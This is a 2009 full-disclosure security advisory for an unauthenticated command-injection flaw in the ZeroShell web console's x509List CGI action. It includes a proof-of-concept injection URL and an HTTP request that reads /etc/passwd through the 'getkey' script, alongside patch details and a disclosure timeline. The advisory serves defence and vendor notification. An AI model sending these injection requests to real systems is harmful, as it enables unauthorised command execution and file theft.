========================================================================
ZeroShell <= 1.0beta11 Remote Code Execution

Affected Software: ZeroShell <= 1.0beta11
Severity: High
Local/Remote: Remote
Author: Luca Carettoni - luca.carettoni[at]ikkisoft[dot]com
Advisory URL: http://www.ikkisoft.com/stuff/LC-2009-01.txt

[Summary]

ZeroShell (http://www.zeroshell.net/eng/&#41; is a small Linux distribution
for servers and embedded devices. This Linux distro can be configured
and managed with an easy to use web console.

ZeroShell is prone to an arbitrary code execution vulnerability due to
an improper input validation mechanism. An aggressor may abuse this
weakness in order to compromise the entire system.
Authentication is not required in order to exploit this flaw.

[Vulnerability Details]

The ZeroShell web console uses a CGI program and several bash scripts
to provide all administrative functions. An improper input validation
mechanism permits the injection of arbitrary system commands.
An unauthenticated user may invoke a function to retrieve all x509
certificates present in the repository, using the following GET request:
https://<IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=user

The parameter "type" is used to distinguish between users, CA and host
certificates. Unfortunately, this parameter is passed to the following
code without input validation at all:

<– cut here –>
TYPE="$1"
cd "$SSLDIR/certs" || exit 1
ls *${TYPE}.pem |awk -F"$TYPE.pem" -v"TYPE=$TYPE" '{
<– cut here –>

An aggressor may easily escape the hardcoded commands, adding arbitrary
system commands. According to the default system configuration, these
commands are executed as "apache" (low privileges user).

[Proof of Concept Exploit]

/cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;<CMD HERE>;%22

In addition to the Unix commands, it is possible to abuse the
ZeroShell scripts themself. For instance it is likely to use the
"getkey" script in order to retrieve remote files, including the content
in the html page.

{HTTP REQUEST}
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;
/root/kerbynet.cgi/scripts/getkey%20…/…/…/etc/passwd;%22 HTTP/1.1
Host: <IP>

[Fix Information]

The vendor has published a patch for the release 1.0beta11 only.
http://www.zeroshell.net/eng/patch-details/#C100

The new release (1.0beta12) will be available soon.

[Time Table]

08/01/2009 - Vendor notified.
08/01/2009 - Vendor response.
11/01/2009 - Vendor patch release.
09/02/2009 - Public disclosure.

[Legal Notices]

The information in the advisory is believed to be accurate at the
time of publishing based on currently available information.
This information is provided as-is, as a free service to the community.
There are no warranties with regard to this information.
The author does not accept any liability for any direct,
indirect, or consequential loss or damage arising from use of,
or reliance on, this information.
Permission is hereby granted for the redistribution of this alert,
provided that the content is not altered in any way, except
reformatting, and that due credit is given.

This vulnerability has been disclosed in accordance with the RFP
Full-Disclosure Policy v2.0, available at:
http://www.wiretrip.net/rfp/policy.html